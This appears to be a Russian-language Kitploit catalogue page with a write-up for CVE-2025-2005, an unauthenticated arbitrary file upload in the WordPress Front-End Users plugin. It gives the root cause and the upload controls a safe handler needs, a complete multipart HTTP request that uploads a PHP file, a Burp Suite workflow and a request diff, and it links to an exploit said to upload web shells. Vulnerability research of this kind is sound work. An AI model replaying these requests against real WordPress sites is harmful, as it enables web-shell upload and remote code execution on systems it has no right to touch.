Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-2005 — Эксплойт доказательства концепции для CVE-2025-2005, уязвимости произвольной загрузки файлов в плагине WordPress Front-End Users (<=3.2.32). Включает скрипты для ручной HTTP-атаки и эксплойт на Python для загрузки PHP веб-шеллов на неаутентифицированные регистрационные формы. | Kitploit
Инструменты/GitHubGitHub/h4ckxel/cve-2025-2005
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubh4ckxel/cve-2025-2005

CVE-2025-2005

Эксплойт доказательства концепции для CVE-2025-2005, уязвимости произвольной загрузки файлов в плагине WordPress Front-End Users (<=3.2.32). Включает скрипты для ручной HTTP-атаки и эксплойт на Python для загрузки PHP веб-шеллов на неаутентифицированные регистрационные формы.

Репозиторий
11429 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-2005 — Произвольная загрузка файлов пользователями фронтенда

CVE-2025-2005

WordPress Front-End Users — Неаутентифицированная произвольная загрузка файлов

0xZ3R0 // h4ckxel

CVE WordPress Status Research


0x00 — Краткое резюме

Front-End Users подвержен уязвимости неаутентифицированной произвольной загрузки файлов, затрагивающей версии ≤ 3.2.32.

Уязвимый процесс регистрации предоставляет примитив загрузки, доступный без необходимости в привилегированной учётной записи WordPress.

Основная проблема заключается в недостаточной проверке контролируемых злоумышленником метаданных и содержимого загружаемого файла перед его сохранением в файловую систему.

Цепочка атаки

                  UNAUTHENTICATED ATTACKER
                           │
                           ▼
                 Public registration form
                           │
                           ▼
                  multipart/form-data
                           │
                           ▼
                Front-End Users handler
                           │
                           ▼
                Insufficient validation
                           │
                           ▼
                Attacker-controlled file
                           │
                           ▼
        /wp-content/uploads/ewd_feup_uploads/
                           │
                           ▼
              Web-accessible resource
                           │
                           ▼
             PHP execution if permitted
                           │
                           ▼
                         RCE

Итоговое воздействие зависит от веб-сервера и конфигурации PHP целевой системы.


0x01 — Метаданные уязвимости

СвойствоЗначение
CVECVE-2025-2005
ПродуктFront-End Users
Уязвимые версии≤ 3.2.32
CWECWE-434
КлассНеограниченная загрузка файла опасного типа
Вектор атакиСеть
АутентификацияОтсутствует
Требуемые привилегииОтсутствуют
Взаимодействие с пользователемОтсутствует
Основной примитивПроизвольная загрузка файла
Потенциальное воздействиеУдалённое выполнение кода
Исследовательh4ckxel
Пространство имён0xZ3R0

0x02 — Классификация уязвимости

CWE-434

Неограниченная загрузка файла опасного типа

Уязвимое поведение можно свести к следующему:

Untrusted Input
      │
      ├── filename
      ├── extension
      ├── MIME type
      └── file content
             │
             ▼
       upload handler
             │
             ▼
        filesystem

Граница безопасности нарушается, поскольку контролируемые злоумышленником данные попадают в постоянное место файловой системы без достаточной проверки.


0x03 — Поверхность атаки

Уязвимая функциональность связана с системой регистрации на фронтенде плагина.

Типичный запрос на регистрацию содержит:

ewd-feup-action=register
Username=<value>
User_Password=<value>

и может содержать дополнительное поле составного файла:

Content-Disposition: form-data;
name="xxploit";
filename="poc.php"

Content-Type: application/x-php

Интересна не сама регистрация.

Интересно то, что запрос пересекает следующую границу доверия:

                 INTERNET
                    │
                    ▼
          attacker-controlled HTTP
                    │
                    ▼
          registration endpoint
                    │
                    ▼
             upload handler
                    │
                    ▼
              filesystem

0x04 — Первопричина

Уязвимость возникает из-за недостаточной проверки загружаемых файлов на стороне сервера.

Безопасная реализация должна предусматривать несколько независимых механизмов контроля:

                   UPLOAD
                     │
        ┌────────────┴────────────┐
        ▼                         ▼
 Authentication              Authorization
        │                         │
        └────────────┬────────────┘
                     ▼
             Extension allowlist
                     │
                     ▼
              MIME verification
                     │
                     ▼
              Content validation
                     │
                     ▼
            Server-side filename
                     │
                     ▼
          Non-executable storage

Ни один из этих элементов управления сам по себе не обязательно приводит к RCE.

Проблема становится существенно более серьёзной, когда несколько уровней защиты отказывают одновременно.


0x05 — Контролируемый PoC

Следующий PoC демонстрирует примитив записи в файл без развёртывания командной оболочки.

HTTP-запрос

POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----0xZ3R0Boundary

------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-check"

14bacb882cb211e10b2b3e07bfe096ef12a092dc
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-time"

1743554029
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-action"

register
------0xZ3R0Boundary
Content-Disposition: form-data; name="Username"

poc-user
------0xZ3R0Boundary
Content-Disposition: form-data; name="xxploit"; filename="poc.php"
Content-Type: application/x-php

<?php echo "CVE-2025-2005"; ?>

------0xZ3R0Boundary--

Ожидаемый результат в файловой системе

wp-content/
└── uploads/
    └── ewd_feup_uploads/
        └── <randomized-name>.php

Важное наблюдение:

attacker-controlled extension
            +
attacker-controlled content
            +
persistent filesystem write

0x06 — Рабочий процесс в Burp Suite

Практический рабочий процесс для лабораторной среды:

[1] Open registration page
        │
        ▼
[2] Submit legitimate registration
        │
        ▼
[3] Intercept request with Burp
        │
        ▼
[4] Locate multipart file parameter
        │
        ▼
[5] Replace benign file with PoC file
        │
        ▼
[6] Forward request
        │
        ▼
[7] Inspect response
        │
        ▼
[8] Verify filesystem artifact
        │
        ▼
[9] Test whether uploads are executable

Критически важное для безопасности наблюдение следует делать до попытки любого постэксплуатационного воздействия.


0x07 — Diff запросов

Легитимный запрос

Content-Disposition: form-data;
name="avatar";
filename="avatar.jpg"

<image-data>

Изменённый запрос

Content-Disposition: form-data;
name="xxploit";
filename="poc.php"

<?php echo "CVE-2025-2005"; ?>

Концептуально:

- filename="avatar.jpg"
+ filename="poc.php"

- <image-data>
+ <?php echo "CVE-2025-2005"; ?>
Скачать инструмент